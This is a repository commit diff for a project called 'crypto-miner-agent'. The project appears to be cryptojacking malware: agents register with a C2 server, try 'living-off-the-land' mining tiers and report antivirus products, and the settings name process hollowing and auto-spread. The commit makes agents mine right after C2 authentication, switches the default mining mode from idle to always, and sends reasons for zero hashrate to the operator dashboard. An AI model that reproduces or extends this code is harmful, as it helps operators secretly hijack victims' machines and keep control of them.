Fix simple deploy mining: refresh auth tier policy and mine immediately.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.
This commit is contained in:
@@ -1252,6 +1252,11 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.StratumEgress = c.stratumEgress(false)
|
stats.StratumEgress = c.stratumEgress(false)
|
||||||
}
|
}
|
||||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||||
|
if stats.MiningHashrate < 1 {
|
||||||
|
if reason := PrimaryMiningBlockReason(c.collectMiningDiagnostics()); reason != "" {
|
||||||
|
stats.MiningBlockReason = reason
|
||||||
|
}
|
||||||
|
}
|
||||||
if depth := c.contingencyDepthForStats(); depth > 0 {
|
if depth := c.contingencyDepthForStats(); depth > 0 {
|
||||||
stats.ContingencyDepth = depth
|
stats.ContingencyDepth = depth
|
||||||
}
|
}
|
||||||
@@ -1491,13 +1496,15 @@ func (c *AgentClient) kickMiningAfterAuth() {
|
|||||||
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
|
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if c.miningCtx == nil || c.miningChain == nil {
|
if c.miningCtx == nil || c.miningChain == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
go func() {
|
go func() {
|
||||||
|
c.miningChain.refreshTierOrchestrator()
|
||||||
|
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
|
||||||
|
log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
|
||||||
|
return
|
||||||
|
}
|
||||||
log.Printf("[mining] restarting chain after auth with server policy")
|
log.Printf("[mining] restarting chain after auth with server policy")
|
||||||
c.miningChain.Restart(c.miningCtx)
|
c.miningChain.Restart(c.miningCtx)
|
||||||
}()
|
}()
|
||||||
|
|||||||
@@ -126,8 +126,19 @@ func (r *MiningChainRunner) Start(ctx context.Context) {
|
|||||||
r.startMiningCascade(ctx)
|
r.startMiningCascade(ctx)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// refreshTierOrchestrator rebuilds the tier onion from the latest server/auth policy.
|
||||||
|
// newMiningChainRunner() captures policy at process start — auth may apply ForceTier later.
|
||||||
|
func (r *MiningChainRunner) refreshTierOrchestrator() {
|
||||||
|
c := r.client
|
||||||
|
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||||
|
r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(func() bool {
|
||||||
|
return newGPUMiner(c.cfg) != nil
|
||||||
|
}), r.reportTierEvent)
|
||||||
|
}
|
||||||
|
|
||||||
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
|
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
|
||||||
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
|
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
|
||||||
|
r.refreshTierOrchestrator()
|
||||||
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
|
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
|
||||||
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||||
tierReport := r.tiers.Report()
|
tierReport := r.tiers.Report()
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package client
|
|||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"runtime"
|
"runtime"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-agent/miner"
|
"crypto-miner-agent/miner"
|
||||||
@@ -26,6 +27,7 @@ type MiningDiagnostics struct {
|
|||||||
C2Connected bool `json:"c2_connected"`
|
C2Connected bool `json:"c2_connected"`
|
||||||
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
|
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
|
||||||
MiningMode string `json:"mining_mode"`
|
MiningMode string `json:"mining_mode"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
PoolHost string `json:"pool_host"`
|
PoolHost string `json:"pool_host"`
|
||||||
PoolPort int `json:"pool_port"`
|
PoolPort int `json:"pool_port"`
|
||||||
InstallDir string `json:"install_dir,omitempty"`
|
InstallDir string `json:"install_dir,omitempty"`
|
||||||
@@ -112,6 +114,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
|||||||
d.LastJobAgeSec = &age
|
d.LastJobAgeSec = &age
|
||||||
}
|
}
|
||||||
d.MiningMode = c.cfg.MiningMode
|
d.MiningMode = c.cfg.MiningMode
|
||||||
|
d.Wallet = c.cfg.Wallet
|
||||||
d.PoolHost = c.cfg.PoolHost
|
d.PoolHost = c.cfg.PoolHost
|
||||||
d.PoolPort = c.cfg.PoolPort
|
d.PoolPort = c.cfg.PoolPort
|
||||||
if dir, err := c.cfg.InstallDirectory(); err == nil {
|
if dir, err := c.cfg.InstallDirectory(); err == nil {
|
||||||
@@ -254,8 +257,31 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
|||||||
return d
|
return d
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// PrimaryMiningBlockReason returns the best single operator-facing explanation for zero hashrate.
|
||||||
|
func PrimaryMiningBlockReason(d MiningDiagnostics) string {
|
||||||
|
if len(d.LikelyBlockers) > 0 {
|
||||||
|
return d.LikelyBlockers[0]
|
||||||
|
}
|
||||||
|
if d.CPU.ScheduleBlocked {
|
||||||
|
return "mining_mode schedule/idle guard blocking workers"
|
||||||
|
}
|
||||||
|
if d.ChainExhausted {
|
||||||
|
return "mining fallback chain exhausted — all primary methods failed"
|
||||||
|
}
|
||||||
|
if !d.C2Connected {
|
||||||
|
return "waiting for C2 registration"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
|
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
|
||||||
var blockers []string
|
var blockers []string
|
||||||
|
if strings.TrimSpace(d.Wallet) == "" {
|
||||||
|
blockers = append(blockers, "wallet not configured — set Calibrate wallet and re-forge")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(d.PoolHost) == "" {
|
||||||
|
blockers = append(blockers, "pool host not configured — set Calibrate pool and re-forge")
|
||||||
|
}
|
||||||
if d.CPU.RemotePaused {
|
if d.CPU.RemotePaused {
|
||||||
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
|
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
)
|
)
|
||||||
|
|
||||||
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
|
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
|
||||||
@@ -49,14 +51,20 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
|||||||
c.miningChain.Start(ctx)
|
c.miningChain.Start(ctx)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
requireC2 := c.cfg.SimpleDeploy || deploy.WantsDeferMining()
|
||||||
for {
|
for {
|
||||||
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
|
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
|
||||||
tryStart("diagnostics pass")
|
tryStart("diagnostics pass")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if time.Now().After(deadline) {
|
if time.Now().After(deadline) {
|
||||||
tryStart("diagnostics wait timeout")
|
if requireC2 && !c.connected.Load() {
|
||||||
return
|
log.Printf("[mining] still waiting for C2 auth (simple_deploy/defer) — not starting without registration")
|
||||||
|
deadline = time.Now().Add(maxWait)
|
||||||
|
} else {
|
||||||
|
tryStart("diagnostics wait timeout")
|
||||||
|
return
|
||||||
|
}
|
||||||
}
|
}
|
||||||
select {
|
select {
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
|
|||||||
@@ -161,7 +161,8 @@ type StatsPayload struct {
|
|||||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||||
|
|
||||||
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
|
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
|
||||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||||
|
MiningBlockReason string `json:"mining_block_reason,omitempty"`
|
||||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||||
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
||||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||||
|
|||||||
@@ -51,6 +51,25 @@ func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) {
|
|||||||
time.Sleep(200 * time.Millisecond)
|
time.Sleep(200 * time.Millisecond)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) {
|
||||||
|
setupNoContainerRuntime(t)
|
||||||
|
cfg := baseMiningCfg()
|
||||||
|
cfg.SimpleDeploy = true
|
||||||
|
cfg.MinerExecution = "inprocess"
|
||||||
|
c := miningChainTestClient(t, cfg)
|
||||||
|
r := c.newMiningChainRunner()
|
||||||
|
if len(r.tiers.Report().TierChainOrder) == 0 {
|
||||||
|
t.Fatal("expected default tier chain before auth")
|
||||||
|
}
|
||||||
|
raw, _ := json.Marshal(map[string]string{"force_tier": "cpu_inprocess"})
|
||||||
|
c.applyMiningTierPolicyJSON(raw)
|
||||||
|
r.refreshTierOrchestrator()
|
||||||
|
chain := r.tiers.Report().TierChainOrder
|
||||||
|
if len(chain) != 1 || chain[0] != miner.TierCPUInprocess {
|
||||||
|
t.Fatalf("expected force cpu_inprocess after auth refresh, got %v", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
|
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
|
||||||
setupNoContainerRuntime(t)
|
setupNoContainerRuntime(t)
|
||||||
cfg := baseMiningCfg()
|
cfg := baseMiningCfg()
|
||||||
|
|||||||
@@ -1192,7 +1192,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
At string `json:"at"`
|
At string `json:"at"`
|
||||||
} `json:"failed_methods,omitempty"`
|
} `json:"failed_methods,omitempty"`
|
||||||
// Fleet health mining telemetry (coalesced into stats_batch)
|
// Fleet health mining telemetry (coalesced into stats_batch)
|
||||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||||
|
MiningBlockReason string `json:"mining_block_reason,omitempty"`
|
||||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||||
LOTLAttempts []struct {
|
LOTLAttempts []struct {
|
||||||
Tier string `json:"tier"`
|
Tier string `json:"tier"`
|
||||||
@@ -1356,6 +1357,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if stats.MiningHashrate > 0 {
|
if stats.MiningHashrate > 0 {
|
||||||
broadcast["mining_hashrate"] = stats.MiningHashrate
|
broadcast["mining_hashrate"] = stats.MiningHashrate
|
||||||
}
|
}
|
||||||
|
if stats.MiningBlockReason != "" {
|
||||||
|
broadcast["mining_block_reason"] = stats.MiningBlockReason
|
||||||
|
}
|
||||||
if stats.LOTLTier != "" {
|
if stats.LOTLTier != "" {
|
||||||
broadcast["lotl_tier"] = stats.LOTLTier
|
broadcast["lotl_tier"] = stats.LOTLTier
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -42,7 +42,11 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
|
|||||||
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
|
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
|
||||||
</strong>
|
</strong>
|
||||||
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
|
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
|
||||||
{status.message}. "Deploy" here means C2 registration + mining tier probe — not lateral spread.
|
{status.message}
|
||||||
|
{sample.mining_block_reason && sample.mining_block_reason !== status.message
|
||||||
|
? ` — ${sample.mining_block_reason}`
|
||||||
|
: ''}
|
||||||
|
. "Deploy" here means C2 registration + mining tier probe — not lateral spread.
|
||||||
Check Calibrate wallet/pool, then run diagnostics or restart mining.
|
Check Calibrate wallet/pool, then run diagnostics or restart mining.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -59,6 +59,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
|||||||
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
|
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
|
||||||
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
|
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
|
||||||
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
||||||
|
...(update.mining_block_reason !== undefined ? { mining_block_reason: update.mining_block_reason } : {}),
|
||||||
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
||||||
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
||||||
...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),
|
...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),
|
||||||
|
|||||||
@@ -59,6 +59,7 @@ describe('simpleMinePreset', () => {
|
|||||||
const p = simpleMinePreset();
|
const p = simpleMinePreset();
|
||||||
expect(p.simple_deploy).toBe(true);
|
expect(p.simple_deploy).toBe(true);
|
||||||
expect(p.miner_execution).toBe('inprocess');
|
expect(p.miner_execution).toBe('inprocess');
|
||||||
|
expect(p.mining_mode).toBe('always');
|
||||||
expect(p.lotl_onion_enabled).toBe(false);
|
expect(p.lotl_onion_enabled).toBe(false);
|
||||||
expect(p.auto_spread).toBe(false);
|
expect(p.auto_spread).toBe(false);
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -34,7 +34,7 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (agent.chain_exhausted) {
|
if (agent.chain_exhausted) {
|
||||||
const err = agent.last_error || agent.failed_methods?.[0]?.reason;
|
const err = agent.mining_block_reason || agent.last_error || agent.failed_methods?.[0]?.reason;
|
||||||
return {
|
return {
|
||||||
phase: 'failed',
|
phase: 'failed',
|
||||||
message: err || 'Mining chain exhausted — all tiers failed',
|
message: err || 'Mining chain exhausted — all tiers failed',
|
||||||
@@ -42,6 +42,14 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (agent.mining_block_reason) {
|
||||||
|
return {
|
||||||
|
phase: 'testing',
|
||||||
|
message: agent.mining_block_reason,
|
||||||
|
tier,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
if (tier) {
|
if (tier) {
|
||||||
return {
|
return {
|
||||||
phase: 'testing',
|
phase: 'testing',
|
||||||
@@ -94,6 +102,6 @@ export function simpleMinePreset(): {
|
|||||||
process_hollowing: false,
|
process_hollowing: false,
|
||||||
remote_aggressive: false,
|
remote_aggressive: false,
|
||||||
fusion_enabled: false,
|
fusion_enabled: false,
|
||||||
mining_mode: 'idle',
|
mining_mode: 'always',
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -50,6 +50,7 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
|||||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||||
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
||||||
|
if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
|
||||||
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
||||||
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
||||||
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
||||||
|
|||||||
@@ -94,6 +94,8 @@ export interface Agent {
|
|||||||
|
|
||||||
/** Effective mining hashrate from stats_batch (CPU+GPU rollup when omitted). */
|
/** Effective mining hashrate from stats_batch (CPU+GPU rollup when omitted). */
|
||||||
mining_hashrate?: number;
|
mining_hashrate?: number;
|
||||||
|
/** Primary reason agent reports zero hashrate (from stats_batch). */
|
||||||
|
mining_block_reason?: string;
|
||||||
/** Living-off-the-land execution tier reported by agent. */
|
/** Living-off-the-land execution tier reported by agent. */
|
||||||
lotl_tier?: string;
|
lotl_tier?: string;
|
||||||
/** Per-tier attempt history from agent TierReport. */
|
/** Per-tier attempt history from agent TierReport. */
|
||||||
|
|||||||
@@ -76,6 +76,8 @@ export interface WSStatsUpdate {
|
|||||||
|
|
||||||
/** Effective mining hashrate (H/s) — may differ from hashrate_15m when GPU/container active. */
|
/** Effective mining hashrate (H/s) — may differ from hashrate_15m when GPU/container active. */
|
||||||
mining_hashrate?: number;
|
mining_hashrate?: number;
|
||||||
|
/** Primary reason for zero hashrate when agent is online. */
|
||||||
|
mining_block_reason?: string;
|
||||||
/** LOTL tier label for spread telemetry badges. */
|
/** LOTL tier label for spread telemetry badges. */
|
||||||
lotl_tier?: string;
|
lotl_tier?: string;
|
||||||
lotl_attempts?: import('./lotl').TierAttempt[];
|
lotl_attempts?: import('./lotl').TierAttempt[];
|
||||||
|
|||||||
Reference in New Issue
Block a user